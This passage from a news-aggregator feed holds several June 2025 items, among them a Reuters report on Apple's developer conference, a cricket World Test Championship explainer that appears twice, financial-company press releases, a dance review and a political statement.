    In an early demonstration of this at work, the company added image generation from OpenAI’s ChatGPT to its Image Playground app, saying that user data would not be shared with OpenAI without a user’s permission.

    “You could see Apple’s priority is what they’re doing on the back-end, instead of what they’re doing at the front-end, which most people don’t really care about yet,” said Ben Bajarin, chief executive of analyst firm Creative Strategies.

    Apple is facing an unprecedented set of technical and regulatory challenges as it kicked off its software developer conference.

    Shares of Apple, which were flat before the start of the event, closed 1.2% lower on Monday.

    “In a moment in which the market questions Apple’s ability to take any sort of lead in the AI space, the announced features felt incremental at best,” Thomas Monteiro, senior analyst at Investing.com, said. Compared with what other big AI companies are introducing, he added, “It just seems that the clock is ticking faster every day for Apple.”

    That is a contrast to the ambitious vision laid out by Apple last year.

    “They went from being visionary and talking about agents before a lot of other people did, to now realizing that, at the end of the day, what they need to do is deliver on what they presented a year ago,” said Bob O’Donnell, chief analyst at Technalysis Research.

    Apple executives said that developers will have access only to Apple’s on-device version of Apple Intelligence, which does not tap into special data centers Apple built for its AI efforts. The on-device model is about 3 billion parameters, a measurement of the model’s level of sophistication, meaning that it cannot handle the more complex tasks that cloud-based models can.

    As Apple executives discussed new features at the event in Cupertino, California, OpenAI announced a new financial milestone on Monday, reaching $10 billion in annualized revenue run rate as of June.

    OS UPDATES

    Federighi also said Apple plans a design overhaul of all of its operating systems.

    Apple’s redesign of its operating systems centered on a design it calls “liquid glass” where icons and menus are partially transparent, a step Apple executives said was possible because of the more powerful custom chips in Apple devices versus a decade ago.

    Federighi said the new design will span operating systems for iPhones, Macs and other Apple products. He also said Apple’s operating systems will be given year names instead of sequential numbers for each version. That will unify naming conventions that have become confusing because Apple’s core operating systems for phones, watches and other devices kicked off at different times, resulting in a smattering of differently numbered operating systems for different products.

    Some analysts told Reuters that Apple’s decision to introduce familiar Mac capabilities, such as a multitasking interface and menu bar, to iPad could portend a shift in priorities around which devices it markets to consumers.

    In other new features, Apple introduced “Call Screening” where iPhones will automatically answer calls from an unknown number and ask the caller the purpose of their call. Once the caller states their purpose, the iPhone will show a transcription of the reason for the call, and ring for the owner.

    Apple also said it will add live translation to phone calls, as well as allow developers to integrate its live translation technology into their apps. Apple said the caller on the other end of the phone call will not need to have an iPhone for the live translation feature to work.

    Apple’s Visual Intelligence app – which can help users find a pair of shoes similar to ones at which they have pointed an iPhone camera – will be extended to analyzing items on the iPhone’s screen and linked together with apps. Apple gave an example of seeing a jacket online and using the feature to find a similar one for sale on an app already installed in the user’s iPhone.

    (Reuters)

    June 10, 2025
  • MIL-OSI China: Youth leaders gather for World Youth Energy Partner Dialogue

    Source: People’s Republic of China – State Council News

    International youth leaders and experts gathered for the World Youth Energy Partner Dialogue on June 8 as part of the World Youth Energy Tour (WYET) 2025, exchanging views on critical topics like energy transition and international cooperation in renewable energy. 

    The event, co-hosted by China International Communications Group (CICG) and CHN Energy Investment Corporation (CHN Energy), brought together 14 youth leaders from eight countries to discuss cross-cultural perspectives and innovative solutions for building a multilateral, collaborative and tech-driven paradigm for sustainable energy development.

    Participants in the World Youth Energy Tour (WYET) 2025 pose for a group picture, June 8, 2025. [Photo provided to China.org.cn]

    “Youth are the architects, not just beneficiaries, of the energy transition,” said Kevin Tu, managing director of Agora Energy China and leading spokesperson of the event. “China’s experience proves young innovators drive breakthroughs, from AI-powered grids to offshore wind megaprojects.”

    The attending youth leaders also shared their insights on the event and energy issues through engaging picture stories, highlighting their unique experiences and innovative ideas.

    Participants in the World Youth Energy Tour (WYET) 2025 watch a presentation, June 8, 2025. [Photo provided to China.org.cn]

    “Crisis cannot be overcome alone. Crisis needs teamwork,” noted Jose Renato Peneluppi, a Brazilian lawyer specializing in development policies and energy transition. He spoke highly of China’s energy progress in recent years and expressed hope for future energy collaboration between China and Brazil.

    Kaldybayev Dastan, a PhD student from Kazakhstan at Tsinghua University, praised China’s efforts in green infrastructure and its wind and solar power capacity. “The future of energy is green, smart and global. Together through collaboration and innovation, we can build the future,” he added.

    “I’m so grateful that China has supported us like our older brother. I’m so amazed and happy to see China is working very hard, leading globally in green initiatives,” said Umer Farooq Sansi, CEO of the Hunan Sansi Group and a contributor to China-Pakistan relations.

    MIL OSI China News –

    June 10, 2025
  • MIL-Evening Report: What is the World Test Championship and how did Australia qualify for the final?

    Source: The Conversation (Au and NZ) – By Vaughan Cruickshank, Senior Lecturer in Health and Physical Education, University of Tasmania

    HENRY NICHOLLS/AFP via Getty Images

    Cricket’s third World Test Championship final will begin on Wednesday night in London. Reigning champions Australia will compete with South Africa to be crowned the world’s best men’s Test cricket team.

    This new tournament has faced controversy because of the points system used to determine the two finalists, with South Africa also criticised in recent years for allowing many key players to compete in T20 tournaments instead of Test matches.

    Despite this, South Africa has earned its right to take on the Australians at Lord’s Cricket Ground.

    What is the World Test Championship?

    The World Test Championship is a tournament played between nine full members of the International Cricket Council (ICC): Australia, Bangladesh, England, India, New Zealand, Pakistan, South Africa, Sri Lanka and the West Indies.

    The previous winners were New Zealand (2021) and Australia (2023).

    The ICC introduced this tournament as a way to increase the relevance and importance of Test cricket in a world dominated by popular Twenty 20 tournaments such as the Big Bash and Indian Premier League.

    Each country plays three series of between two and five Test matches at home, and three away.

    The tournament takes two years to complete because each Test match can take five days and there are no dedicated times for Test match cricket throughout the year. This is because many cricketers also play in T20 and one-day tournaments.

    Teams are awarded points for wins (12 points), ties (six) and draws (four) – there are zero points for a loss. Teams lose points if they bowl their overs too slowly.

    While this point system is simple enough, ranking teams in the results table is more confusing, because some teams play more Tests than others.

    Bigger, wealthier countries such as England, India and Australia commonly play four or five Tests in a series, whereas less affluent countries often play series with only two or three Tests.

    Because of this difference, the results table is based on the percentage of points teams have won (how many points they won divided by how many points they could have won).

    For example, if a team played ten tests, the maximum points they could earn would be 120 (10 x 12 points for each win). If they earned 60 points, then they would be ranked on the results table as winning 50% (60 divided by 120).

    How did Australia and South Africa reach the final?

    South Africa finished on top of the table by winning series against the West Indies, Bangladesh, Sri Lanka and Pakistan. They also drew with India and lost to New Zealand.

    Australia beat Pakistan and India at home and New Zealand and Sri Lanka away. They also drew series with England (away) and the West Indies (home).

    The final will be played at the “home of cricket”: Lord’s in London.

    Neutral territory

    Test matches are rarely played at neutral venues but the World Test Championship final is played in England for a variety of reasons.

    The current two-year World Test Championship cycle ends in June, which is early summer in England and winter or monsoon season in most other major cricket nations.

    England also offers good infrastructure, strong crowds, a time zone that aligns favourably with prime time viewing hours in India, and pitches that offer a fair contest between bat and ball, allowing for exciting and competitive cricket.

    Despite these reasons, the repeated scheduling of finals in England has been criticised, predominantly by India.

    Criticisms of the championship

    South Africa’s qualification for the final has been criticised because they have played the least number of Tests and avoided playing some stronger teams.

    While these criticisms are not unfounded, they are also not South Africa’s fault: the ICC is responsible for ensuring scheduling is fair.

    Richer countries such as Australia, England and India face a dilemma in that five-Test series between them are generally high quality, exciting and profitable but are also difficult to win.

    Smaller nations playing two-Test series receive less interest and money but also easier opponents and less fixture fatigue. This situation can make it easier for smaller, less affluent teams to have a higher winning percentage.

    Other criticisms have focused on the points deductions for slow overs and the exclusion of Test playing nations Afghanistan, Ireland and Zimbabwe. When the World Test Championship was launched in 2019, only the nine full members were included. No specific reasons were given for the exclusion of Zimbabwe, Afghanistan and Ireland.

    Including these countries and having two six-team divisions – with teams being relegated and promoted each year – has been suggested as way to make the Test championship more fair and more competitive.

    However, this idea has also been criticised as focusing on profits instead of protecting and nurturing the game around the world.

    These deductions and divisions, and other potential changes, were considered at a recent ICC meeting but no changes were made.

    Final preparations

    Australian players have prepared for the final in a variety of ways, such as playing in the IPL, county cricket in the United Kingdom and practice sessions at home.

    They are favourites for the final and have a strong squad to choose from.

    South Africa also has a strong team with several key players returning from injuries and a drugs ban.

    A win for Australia would solidify its standing as the premier Test cricket team in the world. For South Africa, a victory would showcase a remarkable turnaround after being criticised for picking a weak squad for a tour of New Zealand, with most of its better players instead competing in T20 tournaments.

    There is also record prize money at stake.

    If the match is a draw, tie or washed out, Australia and South Africa will share the trophy. But there is a reserve day available in case of wet weather.

    Vaughan Cruickshank does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. What is the World Test Championship and how did Australia qualify for the final? – https://theconversation.com/what-is-the-world-test-championship-and-how-did-australia-qualify-for-the-final-256999

    MIL OSI Analysis – EveningReport.nz –

    June 10, 2025
  • MIL-Evening Report: What is cricket’s World Test Championship and how did Australia qualify for the final?

    Source: The Conversation (Au and NZ) – By Vaughan Cruickshank, Senior Lecturer in Health and Physical Education, University of Tasmania

    HENRY NICHOLLS/AFP via Getty Images

    Cricket’s third World Test Championship final will begin on Wednesday night in London. Reigning champions Australia will compete with South Africa to be crowned the world’s best men’s Test cricket team.

    This new tournament has faced controversy because of the points system used to determine the two finalists, with South Africa also criticised in recent years for allowing many key players to compete in T20 tournaments instead of Test matches.

    Despite this, South Africa has earned its right to take on the Australians at Lord’s Cricket Ground.

    What is the World Test Championship?

    The World Test Championship is a tournament played between nine full members of the International Cricket Council (ICC): Australia, Bangladesh, England, India, New Zealand, Pakistan, South Africa, Sri Lanka and the West Indies.

    The previous winners were New Zealand (2021) and Australia (2023).

    The ICC introduced this tournament as a way to increase the relevance and importance of Test cricket in a world dominated by popular Twenty 20 tournaments such as the Big Bash and Indian Premier League.

    Each country plays three series of between two and five Test matches at home, and three away.

    The tournament takes two years to complete because each Test match can take five days and there are no dedicated times for Test match cricket throughout the year. This is because many cricketers also play in T20 and one-day tournaments.

    Teams are awarded points for wins (12 points), ties (six) and draws (four) – there are zero points for a loss. Teams lose points if they bowl their overs too slowly.

    While this point system is simple enough, ranking teams in the results table is more confusing, because some teams play more Tests than others.

    Bigger, wealthier countries such as England, India and Australia commonly play four or five Tests in a series, whereas less affluent countries often play series with only two or three Tests.

    Because of this difference, the results table is based on the percentage of points teams have won (how many points they won divided by how many points they could have won).

    For example, if a team played ten tests, the maximum points they could earn would be 120 (10 x 12 points for each win). If they earned 60 points, then they would be ranked on the results table as winning 50% (60 divided by 120).

    How did Australia and South Africa reach the final?

    South Africa finished on top of the table by winning series against the West Indies, Bangladesh, Sri Lanka and Pakistan. They also drew with India and lost to New Zealand.

    Australia beat Pakistan and India at home and New Zealand and Sri Lanka away. They also drew series with England (away) and the West Indies (home).

    The final will be played at the “home of cricket”: Lord’s in London.

    Neutral territory

    Test matches are rarely played at neutral venues but the World Test Championship final is played in England for a variety of reasons.

    The current two-year World Test Championship cycle ends in June, which is early summer in England and winter or monsoon season in most other major cricket nations.

    England also offers good infrastructure, strong crowds, a time zone that aligns favourably with prime time viewing hours in India, and pitches that offer a fair contest between bat and ball, allowing for exciting and competitive cricket.

    Despite these reasons, the repeated scheduling of finals in England has been criticised, predominantly by India.

    Criticisms of the championship

    South Africa’s qualification for the final has been criticised because they have played the least number of Tests and avoided playing some stronger teams.

    While these criticisms are not unfounded, they are also not South Africa’s fault: the ICC is responsible for ensuring scheduling is fair.

    Richer countries such as Australia, England and India face a dilemma in that five-Test series between them are generally high quality, exciting and profitable but are also difficult to win.

    Smaller nations playing two-Test series receive less interest and money but also easier opponents and less fixture fatigue. This situation can make it easier for smaller, less affluent teams to have a higher winning percentage.

    Other criticisms have focused on the points deductions for slow overs and the exclusion of Test playing nations Afghanistan, Ireland and Zimbabwe. When the World Test Championship was launched in 2019, only the nine full members were included. No specific reasons were given for the exclusion of Zimbabwe, Afghanistan and Ireland.

    Including these countries and having two six-team divisions – with teams being relegated and promoted each year – has been suggested as way to make the Test championship more fair and more competitive.

    However, this idea has also been criticised as focusing on profits instead of protecting and nurturing the game around the world.

    These deductions and divisions, and other potential changes, were considered at a recent ICC meeting but no changes were made.

    Final preparations

    Australian players have prepared for the final in a variety of ways, such as playing in the IPL, county cricket in the United Kingdom and practice sessions at home.

    They are favourites for the final and have a strong squad to choose from.

    South Africa also has a strong team with several key players returning from injuries and a drugs ban.

    A win for Australia would solidify its standing as the premier Test cricket team in the world. For South Africa, a victory would showcase a remarkable turnaround after being criticised for picking a weak squad for a tour of New Zealand, with most of its better players instead competing in T20 tournaments.

    There is also record prize money at stake.

    If the match is a draw, tie or washed out, Australia and South Africa will share the trophy. But there is a reserve day available in case of wet weather.

    Vaughan Cruickshank does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. What is cricket’s World Test Championship and how did Australia qualify for the final? – https://theconversation.com/what-is-crickets-world-test-championship-and-how-did-australia-qualify-for-the-final-256999

    MIL OSI Analysis – EveningReport.nz –

    June 10, 2025
  • MIL-OSI: EBC Financial Group and Brokeree Solutions Forge Strategic Knowledge Partnership to Empower Global Trading Community

    Source: GlobeNewswire (MIL-OSI)

    LONDON, June 09, 2025 (GLOBE NEWSWIRE) — EBC Financial Group (EBC), a global leader in financial brokerage and asset management, is proud to announce a strategic knowledge partnership with Brokeree Solutions, a cutting-edge technology provider serving multi-asset brokers worldwide. This collaboration marks a significant milestone in EBC’s mission to build a transparent, education-driven investment community, bringing together two industry leaders to share expertise, innovative technologies, and actionable insights for the benefit of traders and investors around the globe.

    At the heart of this partnership is a joint commitment to knowledge sharing, with a strong focus on copy trading, a fast-evolving space that empowers both novice and seasoned traders. EBC and Brokeree will co-develop educational content and practical insights tailored to traders, brokers, and signal providers, helping them apply effective risk management tools, adopt best practices, and enhance their overall trading performance.

    “At EBC Financial Group, our mission is to build a transparent, inclusive investment community where traders are empowered through access to the right tools, insights, and education,” said David Barrett, CEO of EBC Financial Group (UK) Ltd. “This knowledge partnership with Brokeree Solutions goes beyond technology — it’s about leveraging shared expertise to create a more confident, results-driven trading environment. Together, we’re building a platform where both new and experienced traders can learn, grow, and thrive.”

    A Technology-Backed Knowledge Partnership

    Brokeree Solutions contributes its turnkey Social Trading investment system, enabling users to register as either professional traders or followers directly through a broker’s platform. The system features advanced stop-loss/take-profit controls, proportional trade copying, and symbol-specific signal filtering, all designed to support safe, flexible trading.

    EBC complements this with its global market expertise, investor-centric approach, and commitment to transparency, helping traders understand and apply copy trading as an educational tool, especially valuable in today’s complex financial landscape. By making professional-level tools accessible to a wider audience, the partnership transforms copy trading into a gateway for skill development and market participation.

    Content and Webinar Series to Strengthen Trading Knowledge

    As part of this knowledge-driven collaboration, EBC and Brokeree are introducing a monthly article series starting this May, covering a wide range of trading and investment topics. These insights will be designed to address real-world challenges faced by traders and provide actionable strategies to improve performance, risk control, and decision-making. Each article will tap into the shared expertise of both companies and will be published across digital channels to benefit the wider trading community.

    Additionally, the partnership will feature a quarterly webinar series, bringing traders, brokers, and signal providers together for deep-dive discussions on high-impact topics. The first webinar, launching soon, will explore Risk Management, a critical area for both individual and institutional traders. The session will examine practical techniques, platform-level risk tools, and best practices to help participants strengthen their trading discipline and capital protection.

    These initiatives aim not only to educate but also to foster engagement and dialogue within the trading community, ensuring that knowledge flows both ways, from experts to users, and from the front lines of trading back to those shaping the technology and strategy.

    “We value our clients’ trust in our technology and expertise. The partnership will provide traders and signal providers worldwide to examine advanced copy trading features that will help adjust copy trading strategy and increase the efficiency of risk management tools applied,” said Tatiana Pilipenko, Regional Head of Business Development (APAC, UK, Americas) at Brokeree Solutions. “This platform empowers brokers to cultivate a more inclusive and risk-informed trading environment, ultimately driving growth and strengthening relationships with trading communities.”
    This knowledge partnership underscores the shared vision of EBC and Brokeree: a future where technology, education, and transparency converge to empower traders worldwide. As financial markets grow increasingly complex, the collaboration aims to equip every trader – from beginners to experts – with the tools, confidence, and understanding they need to make smarter, more informed decisions.

    Through these collaborations, EBC and Brokeree are not just advancing the future of copy trading, they are laying the foundation for a more informed, connected, and resilient investment community.

    For more information on EBC and Brokeree, please visit https://www.ebc.com. and brokeree.com.

    Disclaimer:

    Trading Contracts for Difference (CFDs) entails a substantial risk of swift financial loss due to leverage, rendering it inappropriate for all investors; thus, a thorough evaluation of your investment objectives, expertise, and risk appetite is imperative prior to engagement.

    About EBC Financial Group  
    Founded in London’s esteemed financial district, EBC Financial Group (EBC) is renowned for its expertise in financial brokerage and asset management. With offices in key financial hubs—including London, Sydney, Hong Kong, Singapore, the Cayman Islands, Bangkok, Limassol, and emerging markets in Latin America, Asia, and Africa—EBC enables retail, professional, and institutional investors to access a wide range of global markets and trading opportunities, including currencies, commodities, shares, and indices.   

    Recognised with multiple awards, EBC is committed to upholding ethical standards and these subsidiaries are licensed and regulated within their respective jurisdictions. EBC Financial Group (UK) Limited is regulated by the UK’s Financial Conduct Authority (FCA); EBC Financial Group (Cayman) Limited is regulated by the Cayman Islands Monetary Authority (CIMA); EBC Financial Group (Australia) Pty Ltd, and EBC Asset Management Pty Ltd are regulated by Australia’s Securities and Investments Commission (ASIC);  EBC Financial (MU) Ltd is authorised and regulated by the Financial Services Commission Mauritius (FSC).  

    At the core of EBC are a team of industry veterans with over 40 years of experience in major financial institutions. Having navigated key economic cycles from the Plaza Accord and 2015 Swiss franc crisis to the market upheavals of the COVID-19 pandemic. We foster a culture where integrity, respect, and client asset security are paramount, ensuring that every investor relationship is handled with the utmost seriousness it deserves.   

    As the Official Foreign Exchange Partner of FC Barcelona, EBC provides specialised services across Asia, LATAM, the Middle East, Africa, and Oceania. Through its partnership with the UN Foundation and United to Beat Malaria, the company contributes to global health initiatives. EBC also supports the ‘What Economists Really Do’ public engagement series by Oxford University’s Department of Economics, helping to demystify economics and its application to major societal challenges, fostering greater public understanding and dialogue.  

    https://www.ebc.com/ 

    About Brokeree Solutions

    Founded in 2013, Brokeree Solutions has consistently enhanced the technologies for multi-asset brokers worldwide. Leveraging extensive experience, the company contributed to the fintech area of the online trading industry by developing innovative solutions, streamlining operational procedures, and setting up advanced risk management systems.

    Brokeree’s flagship offerings include cross-platform Social Trading, Prop Pulse, Liquidity Bridge, and cross-server PAMM. Additionally, Brokeree provides over 50 solutions and tools designed to help brokers enhance their operations in areas such as account management, risk management, and liquidity management, accessible to brokers using MT4, MT5, cTrader, and DXtrade CFD trading platforms.

    brokeree.com

    Media Contact:
    Savitha Ravindran
    Global Public Relations Manager
    savitha.ravindran@ebc.com

    Michelle Siow
    Brand & Communications Director
    michelle.siow@ebc.com  

    The MIL Network –

    June 10, 2025
  • MIL-OSI: BEN Reports First Quarter 2025 Results and Business Highlights

    Source: GlobeNewswire (MIL-OSI)

    WILMINGTON, Del., June 09, 2025 (GLOBE NEWSWIRE) — Brand Engagement Network Inc. (BEN) (NASDAQ: BNAI), an innovator in AI-driven customer engagement solutions, today announced its results and key business highlights for the first quarter ended March 31, 2025.

    “Q1 marked a strong start to 2025, as we launched our iSKYE platform and deepened strategic partnerships that demonstrate the growing demand for secure, scalable AI solutions,” said Paul Chang, CEO of Brand Engagement Network. “We’ve enhanced our platform with features that deliver greater accuracy and relevance for users, while providing the control and engagement enterprise clients want. Looking ahead, iSKYE’s modular architecture positions us to easily support new industries and applications. This flexibility opens doors to larger opportunities and broader AI-powered engagement across diverse sectors.”

    Q1 2025 Key Business Highlights:

    • iSKYE AI Platform Launch: BEN has officially launched the iSKYE platform, offering businesses a customizable, scalable solution to integrate AI with existing business processes, inject a rules engine to manage the interactions, and provide full control of the user experience. Key capabilities include customizable 3D avatars, low-cost deployment, enterprise-grade security, and the ability to mitigate AI hallucinations while integrating seamlessly into existing systems.
    • Global AI Insurance Partnership with Swiss Life: BEN partnered with Swiss Life Global Solutions to deliver secure, scalable generative AI solutions that enhance digital health, mental health, and financial wellbeing services. The collaboration aims to streamline insurance sales, reduce call center volume, and improve member services with AI-powered tools.
    • Expanded Partnership with Vybroo and Grupo Siete: BEN expanded its partnership with Vybroo and Grupo Siete to deploy AI-powered brand ambassadors and voice agents across Latin America and Southern Europe, enhancing its digital media presence and unlocking new revenue opportunities in high-growth markets.
    • Advocating for Responsible AI Privacy Standards: BEN supported and advised on California Assembly Member Carl DeMaio’s proposed AI data privacy legislation bill, which aims to prevent the offshore storage of sensitive user data and underscores the Company’s commitment to secure, closed-loop AI systems focused on trust and compliance.

    Conference Call and Webcast Information
    The Company will host a conference call and webcast tomorrow, Tuesday, June 10, 2025, at 6:00 p.m. ET. CEO Paul Chang and CFO and COO Walid Khiari will lead the call and provide an overview of the company’s financial performance, key business highlights, and strategic outlook.

    Participants can register here to access the live webcast of the conference call. Those who prefer to join the call via phone can register using this link to receive a dial-in number and unique PIN.

    The webcast will be archived for one year following the conference call and can be accessed on BEN’s investor relations website at https://investors.beninc.ai/.

    About Brand Engagement Network (BEN)
    Brand Engagement Network Inc. (NASDAQ: BNAI) innovates in AI-powered customer engagement, delivering safe, intelligent, and scalable solutions. Its proprietary Engagement Language Model (ELM™) and Retrieval-Augmented Generation (RAG) architecture enable highly personalized interactions supported by customers’ curated data in closed-loop environments. BEN develops AI-driven engagement solutions for the life sciences, automotive, and retail industries, featuring AI-powered avatars for outbound campaigns, inbound customer service, and real-time recommendations. With a global AI research and development team, BEN provides secure cloud-based or on-premises deployments, granting complete control of the technology stack and ensuring compliance with GDPR, CCPA, HIPAA, and SOC 2 Type 1 standards. The company holds 21 patents, with 28 pending, demonstrating its commitment to advancing AI-driven consumer engagement. For more information, visit www.beninc.ai.

    Forward-Looking Statements
    This communication contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, that are not historical facts, and involve risks and uncertainties that could cause actual results of BEN to differ materially from those expected and projected. These forward-looking statements can be identified by the use of forward-looking terminology, including the words “anticipates,” “believes,” “continue,” “estimates,” “expects,” “intends,” “may,” “plans,” “potential,” “predicts,” “projects,” “should,” “will,” or “would,” or, in each case, their negative or other variations or comparable terminology.
    These forward-looking statements involve significant risks and uncertainties that could cause the actual results to differ materially from the expected results. Most of these factors are outside BEN’s control and are difficult to predict. Factors that may cause such differences include, but are not limited to: uncertainties as to the timing of the acquisition with Cataneo Gmbh (the “Acquisition”); the risk that the Acquisition may not be completed on the anticipated terms in a timely manner or at all; (the failure to satisfy any of the conditions to the consummation of the Acquisition, including the ability to obtain financing to fund the Acquisition on terms that are acceptable or at all; the possibility that any or all of the various conditions to the consummation of the Acquisition may not be satisfied or waived; the occurrence of any event, change or other circumstance that could give rise to the termination of the purchase agreement; the effect of the announcement or pendency of the transactions contemplated by the purchase agreement on the Company’s ability to retain and hire key personnel, its ability to maintain relationships with its customers, suppliers and others with whom it does business, or its operating results and business generally; risks related to diverting management’s attention from the Company’s ongoing business operations; uncertainty as to the timing of completion of the Acquisition; risks that the benefits of the Acquisition are not realized when and as expected; risks relating to the uncertainty of the projected financial information with respect to BEN; uncertainty regarding and the failure to realize the anticipated benefits from future production-ready deployments; the attraction and retention of qualified directors, officers, employees and key personnel; our ability to grow our customer base; BEN’s history of operating losses; BEN’s need for additional capital to support its present business plan and anticipated growth; technological changes in BEN’s market; the value and enforceability of BEN’s intellectual property protections; BEN’s ability to protect its intellectual property; BEN’s material weaknesses in financial reporting; BEN’s ability to navigate complex regulatory requirements; the ability to maintain the listing of BEN’s securities on a national securities exchange; the ability to implement business plans, forecasts, and other expectations; the effects of competition on BEN’s business; and the risks of operating and effectively managing growth in evolving and uncertain macroeconomic conditions, such as high inflation and recessionary environments. The foregoing list of factors is not exhaustive.
    BEN cautions that the foregoing list of factors is not exclusive. BEN cautions readers not to place undue reliance upon any forward-looking statements, which speak only as of the date made. BEN does not undertake nor does it accept any obligation or undertaking to release publicly any updates or revisions to any forward-looking statements to reflect any change in its expectations or any change in events, conditions or circumstances on which any such statement is based, and it does not intend to do so unless required by applicable law. Further information about factors that could materially affect BEN, including its results of operations and financial condition, is set forth under “Risk Factors” in BEN’s Annual Report on Form 10-K and Quarterly Reports on Form 10-Q subsequently filed with the Securities and Exchange Commission.

    Media Contact 
    Amy Rouyer
    P: 503-367-7596
    E: amy@beninc.ai

    Investor Relations
    Susan Xu
    P: 778-323-0959
    E: sxu@allianceadvisors.com

    The MIL Network –

    June 10, 2025
  • MIL-Evening Report: Bangarra Dance Theatre’s Illume is spectacle with heart and spirit, a thrilling manifestation of Country

    Source: The Conversation (Au and NZ) – By Erin Brannigan, Associate Professor, Theatre and Performance, UNSW Sydney

    Bangarra/Daniel Boud

    The stage is covered in stars that fill the depth of the space. When the 18 dancers slowly gather, they move through a night sky.

    This sky, and the scenes that unfold in Bangarra’s Illume are tied to the Goolarrgon clan of the Bardi Jawi people, the First Peoples of the Dampier Peninsula on the west coast of the Kimberley. Choreographer Frances Rings chose as her primary collaborator visual artist Darrell Sibosado who brings his cultural knowledge of that Country to the work, alongside cultural consultants Trevor Sampi and Audrey (Pippi) Bin Swani, also from Bardi Country.

    The 70-minute work moves through 11 sections, and over three phases. A short synopsis for each in the program guides visitors through this manifestation of Country.

    The opening segments are immersive, integrated worlds where the dancers move at one with the design elements.

    In Niman Aarl (Many Fish), a thrilling whirlpool of tiny light fish spiral around a giant conch shell. The dancers spiral among them with flowing, fluid movements.

    The central section, Light Pollution, interrupts the flow, representing the displacement caused by settler invasion. The dancers carry brown blocks, simply and effectively introducing inorganic and uniform shapes into this natural environment. They are suggestive of bricks, burdens and baggage. Movements depict trauma and a burning crucifix-like form that brings religious movements (as if seated at prayer) and music themes (church bells) to a dramatic climax.

    Brown blocks are suggestive of bricks, burdens and baggage.
    Bangarra/Daniel Boud

    The final sections return us to the sea and land. The work culminates with a beautifully crafted kaleidoscope of mother of pearl opalescence that washes over the front scrim.

    Bringing remote cultures to broad audiences

    Coinciding with Sydney’s Vivid light festival, the difference could not be starker between the tired, candy-coloured neon display spilling across Sydney Harbour and the immersive, detailed and sometimes breathtaking light (designed by Damien Cooper) and video design (from Craig Wilkinson) that gives this work its name.

    The stage floor shimmers: Charles Davis’ set is a reflective surface that amplifies the stunning light work. Upstage left, poles cluster like a stand of trees and occasionally pulse with light in time with the score from Brendon Boney.

    On the back scrim, lights twinkle and constellate. Many images emerge, including what seem to be fragments of a stuttering calligraphy.

    The stage floor shimmers.
    Bangarra/Daniel Boud

    In the final moments of the work, the lights consolidate into an intriguing set of symbols. These echo previous work of Sibosado, such as Galalan at Gumiri featured at the 2024 Biennale of Sydney.

    Blocky, maze-like, and recalling Aztec or Indonesian patterns, these designs appear like a collision of more familiar Indigenous pattern work, south-east Asian influences, and contemporary abstraction.

    Sibosado works primarily with Bardi Jawi riji – pearl shell carving designs from his Country Lullmardinard/Lombadina. He enlarges the small pearl carvings in scale and fabricates them using contemporary materials such as metal and light.

    Designs appear like a collision of Indigenous pattern work, south-east Asian influences, and contemporary abstraction.
    Bangarra/Daniel Boud

    Sibosado is an alumnus of NAISDA, Australia’s National Indigenous dance college and feeder program for the Bangarra company. He has described how he brings story elements usually held in dance and song into his visual art, demonstrating an integration of the creative disciplines characteristic of many NAISDA graduates’ work.

    NAISDA’s practice of working with Indigenous communities from across the country makes the College a living repository of ephemeral and material culture.

    This approach to First Peoples’ culture continues at Bangarra. Bangarra’s deep dive into the traditional knowledges of the Bardi Jawi people through the creative practice of Sibosado, alongside cultural consultants Trevor Sampi and Audrey (Pippi) Bin Swani, brings remote cultures to broad audiences.

    Ambitious, smart and timely

    Watching the show from the dress circle, the impact of all the elements was clear but it was difficult to distinguish individual dancers. The large company was well rehearsed with some stellar performances throughout. However, the choreographic detail was largely absorbed into the overall effects of the work.

    Rings demonstrates her finely tuned attention to movement language specific to each section. From the snaking arms forming the branches of the Manawan or Wollybutt trees, to the south-east Asian inflections in the Mother of Pearl (Guan) sections referencing the pearl divers from that region who were part of the local industry (sometimes against their will), Rings’ choreographic vision is clear – if not always given space and focus among the design.

    Rings demonstrates her finely tuned attention to movement language.
    Bangarra/Daniel Boud

    Rings’ ability to lead a collaborative vision is made possible through the creative team she has gathered. Rings’ and Sibosado’s vision is supported by the set, lighting and video design. Costume designer Elizabeth Gadsby, working with emerging costumer Rika Hamaguchi, has produced unique looks for each section of the work. Boney’s compositions strike a balance between ancient sounds and rhythms and a synthetic sheen that parallels the glossy production elements.

    Illume is ambitious, smart and timely, with its powerful combination of visual and choreographic arts and stories from the ecologically precious and precarious Kimberley region.

    Bangarra is our leading Indigenous performing arts company whose work extends from a rich education and outreach program to their stellar track in international touring. With this work, Bangarra is giving Australia’s other major performing arts companies an object lesson in spectacle with heart and spirit.

    Illume is at the Sydney Opera House until June 14, then touring nationally.

    Erin Brannigan does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. Bangarra Dance Theatre’s Illume is spectacle with heart and spirit, a thrilling manifestation of Country – https://theconversation.com/bangarra-dance-theatres-illume-is-spectacle-with-heart-and-spirit-a-thrilling-manifestation-of-country-257963

    MIL OSI Analysis – EveningReport.nz –

    June 10, 2025
  • MIL-OSI USA: U.S. Rep. Betty McCollum: President Trump is Deliberately Escalating Tensions in L.A.

    Source: United States House of Representatives – Congresswoman Betty McCollum (DFL-Minn)

    SAINT PAUL, Minn. — Congresswoman Betty McCollum, Ranking Member of the House Appropriations Subcommittee on Defense, issued the following statement on Sunday in response to President Trump’s decision to activate the California National Guard in defiance of Governor Gavin Newsom:

    “President Trump is deliberately escalating the situation in Los Angeles by calling up the National Guard without a request from Governor Newsom. This decision is downright dangerous. Secretary Hegseth’s statement implying active duty Marines could also be called up is outrageous. The active duty military has absolutely no legal role in domestic law enforcement. President Trump and Secretary Hegseth should read the Constitution and follow the law.”

    MIL OSI USA News –

    June 10, 2025
  • MIL-OSI Africa: Kenya pledges to accelerate efforts to boost intra-African trade

    Source: Africa Press Organisation – English (2) – Report:

    NAIROBI, Kenya, June 9, 2025/APO Group/ —

    Kenya is working towards fast-tracking implementation of the African Continental Free Trade Area (AfCFTA) to unlock opportunities for businesses in the country across the continent.

